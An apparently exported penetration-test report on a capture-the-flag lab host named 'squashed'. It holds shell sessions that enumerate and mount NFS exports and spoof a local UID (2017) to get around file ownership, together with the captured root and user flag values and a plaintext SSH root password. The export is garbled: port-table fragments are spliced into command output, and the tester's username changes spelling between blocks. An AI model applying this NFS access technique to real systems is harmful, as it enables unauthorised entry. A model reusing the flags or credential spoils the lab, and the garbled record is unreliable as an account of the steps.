

Host Report

10.10.11.191 - Linux 4.15 - 5.6

Linux Server - Flagged - Reviewed - Shelled - Owned

Host Notes:

```
cat /root/root.txt
cf468a9281c4779bf56fd01f3cf1372d
root@squashed:/# cat /home/alex/user.txt
cat /home/alex/user.txt
e1d1b917be878e4b170bcc91aaf4e31
```

Ports:

Port	Proto	Service	Version	Status
19	udp	chargen		
22	tcp	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)	
68	udp	dhcpc		
80	tcp	http	Apache httpd 2.4.41 ((Ubuntu))	
111	tcp	rpcbind	2-4 (RPC #100000)	
111	udp	rpcbind	2-4 (RPC #100000)	

Port Notes:

```
(cruiggieri@kali-purple)-[~/Desktop]
└─$ showmount -e squashed.htb
Export list for squashed.htb:
/home/ross *
/var/www/html *
```

```
(cruiggieri@kali-purple)-[~/Desktop]
└─$ sudo mkdir /mnt/1
```

```
(cruiggieri@kali-purple)-[~/Desktop]
```

Port	Proto	Service	Version	Status
------	-------	---------	---------	--------

```
└─$ sudo mkdir /mnt/2
```

```
(cruiggieri@kali-purple)-[~/Desktop]
└─$ sudo mount -t nfs squashed.htb:/var/www/html /mnt/1
```

```
(cruiggieri@kali-purple)-[~/Desktop]
└─$ sudo mount -t nfs squashed.htb:/home/ross /mnt/2
```

```
(root@kali-purple)-[~/Desktop]
└─# ls -la /mnt/1
ls: cannot access '/mnt/1/!': Permission denied
ls: cannot access '/mnt/1/..': Permission denied
ls: cannot access '/mnt/1/.htaccess': Permission denied
ls: cannot access '/mnt/1/index.html': Permission denied
ls: cannot access '/mnt/1/images': Permission denied
ls: cannot access '/mnt/1/css': Permission denied
ls: cannot access '/mnt/1/js': Permission denied
total 0
d????????? ? ? ? ?      ? .
d????????? ? ? ? ?      ? ..
??????????? ? ? ? ?      ? css
??????????? ? ? ? ?      ? .htaccess
??????????? ? ? ? ?      ? images
??????????? ? ? ? ?      ? index.html
??????????? ? ? ? ?      ? js
```

```
(root@kali-purple)-[~/Desktop]
└─# ls -la /mnt/2
total 68
drwxr-xr-x 14 1001 1001 4096 May 29 14:37 .
drwxr-xr-x  5 root root 4096 May 29 14:54 ..
lrwxrwxrwx  1 root root   9 Oct 20 2022 .bash_history -> /dev/null
drwx----- 11 1001 1001 4096 Oct 21 2022 .cache
drwx----- 12 1001 1001 4096 Oct 21 2022 .config
drwxr-xr-x  2 1001 1001 4096 Oct 21 2022 Desktop
drwxr-xr-x  2 1001 1001 4096 Oct 21 2022 Documents
drwxr-xr-x  2 1001 1001 4096 Oct 21 2022 Downloads
drwx-----  3 1001 1001 4096 Oct 21 2022 .gnupg
drwx-----  3 1001 1001 4096 Oct 21 2022 .local
drwxr-xr-x  2 1001 1001 4096 Oct 21 2022 Music
drwxr-xr-x  2 1001 1001 4096 Oct 21 2022 Pictures
```

Port	Proto	Service	Version	Status
drwxr-xr-x	2	1001 1001 4096 Oct 21 2022	Public	
drwxr-xr-x	2	1001 1001 4096 Oct 21 2022	Templates	
drwxr-xr-x	2	1001 1001 4096 Oct 21 2022	Videos	
lrwxrwxrwx	1	root root 9 Oct 21 2022	.viminfo -> /dev/null	
-rw-----	1	1001 1001 57 May 29 14:37	.Xauthority	
-rw-----	1	1001 1001 2475 May 29 14:37	.xsession-errors	
-rw-----	1	1001 1001 2475 Dec 27 09:33	.xsession-errors.old	

```

└─(root@kali-purple)-[/home/cruggieri/Desktop]
└─# ls -ld /mnt/1
drwxr-xr-- 5 2017 www-data 4096 May 29 14:55 /mnt/1

```

Port	Proto	Service	Version	Status
------	-------	---------	---------	--------

```

(cruddier@kali-purple)-[~/Desktop]
└─$ sudo cd /mnt/1
sudo: cd: command not found
sudo: "cd" is a shell built-in command, it cannot be run directly.
sudo: the -s option may be used to run a privileged shell.
sudo: the -D option may be used to run a command in a specific directory.

(cruddier@kali-purple)-[~/Desktop]
└─$ sudo su
(root@kali-purple)-[~/Desktop]
└─# cd /mnt/1
cd: permission denied: /mnt/1

(root@kali-purple)-[~/Desktop]
└─# ls -la /mnt/1
ls: cannot access '/mnt/1/.': Permission denied
ls: cannot access '/mnt/1/..': Permission denied
ls: cannot access '/mnt/1/.htaccess': Permission denied
ls: cannot access '/mnt/1/index.html': Permission denied
ls: cannot access '/mnt/1/images': Permission denied
ls: cannot access '/mnt/1/css': Permission denied
ls: cannot access '/mnt/1/js': Permission denied
total 0
d???????? ? ? ? ? ? ? ? ?
d???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?

(root@kali-purple)-[~/Desktop]
└─# ls -la /mnt/2
total 68
drwxr-xr-x 14 1001 1001 4096 May 29 14:37 .
drwxr-xr-x 5 root root 4096 May 29 14:54 ..
lrwxrwxrwx 1 root root 9 Oct 20 2022 .bash_history -> /dev/null
drwx----- 11 1001 1001 4096 Oct 21 2022 .cache
drwx----- 12 1001 1001 4096 Oct 21 2022 .config
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Desktop
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Documents
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Downloads
drwx----- 3 1001 1001 4096 Oct 21 2022 .gnupg
drwx----- 3 1001 1001 4096 Oct 21 2022 .local
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Music
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Pictures
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Public
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Templates
drwxr-xr-x 2 1001 1001 4096 Oct 21 2022 Videos
lrwxrwxrwx 1 root root 9 Oct 21 2022 .viminfo -> /dev/null
-rw----- 1 1001 1001 57 May 29 14:37 .Xauthority
-rw----- 1 1001 1001 2475 May 29 14:37 .xsession-errors
-rw----- 1 1001 1001 2475 Dec 27 09:33 .xsession-errors.old

(root@kali-purple)-[~/Desktop]
└─# ls -ld /mnt/1
drwxr-xr-x 5 2017 www-data 4096 May 29 14:55 /mnt/1

(root@kali-purple)-[~/Desktop]
└─# ls -ld /mnt/2
drwxr-xr-x 14 1001 1001 4096 May 29 14:37 /mnt/2

(root@kali-purple)-[~/Desktop]
└─# useradd squashed

(root@kali-purple)-[~/Desktop]
└─# usermod -u 2017 squashed

(root@kali-purple)-[~/Desktop]
└─# groupmod -g 2017 squashed

(root@kali-purple)-[~/Desktop]
└─# ls -la /mnt/1
ls: cannot access '/mnt/1/.': Permission denied
ls: cannot access '/mnt/1/..': Permission denied
ls: cannot access '/mnt/1/.htaccess': Permission denied
ls: cannot access '/mnt/1/index.html': Permission denied
ls: cannot access '/mnt/1/images': Permission denied
ls: cannot access '/mnt/1/css': Permission denied
ls: cannot access '/mnt/1/js': Permission denied
total 0
d???????? ? ? ? ? ? ? ? ?
d???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?
???????? ? ? ? ? ? ? ? ?

```

Create a new user and force it to the 2017 User ID

```
(root@kali-purple)-[~/Desktop]
```

Port	Proto	Service	Version	Status
120	udp	cfdpkt		
136	udp	profile		
138	udp	netbios-dgm		
623	udp	asf-rmcp		
631	udp	ipp		
1023	udp	unknown		
1028	udp	ms-lsa		
1701	udp	L2TP		
2049	tcp	nfs_acl	3 (RPC #100227)	
2049	udp	nfs_acl	3 (RPC #100227)	
5353	udp	zeroconf		
32771	udp	sometimes-rpc6		
36989	tcp	mountd	1-3 (RPC #100005)	
37993	tcp	mountd	1-3 (RPC #100005)	
42189	tcp	nlockmgr	1-4 (RPC #100021)	
49182	udp	unknown		
54475	tcp	mountd	1-3 (RPC #100005)	

Credentials:

Service	Username	Password	Full Name Hash
ssh	root	cah\$mei7rai9A	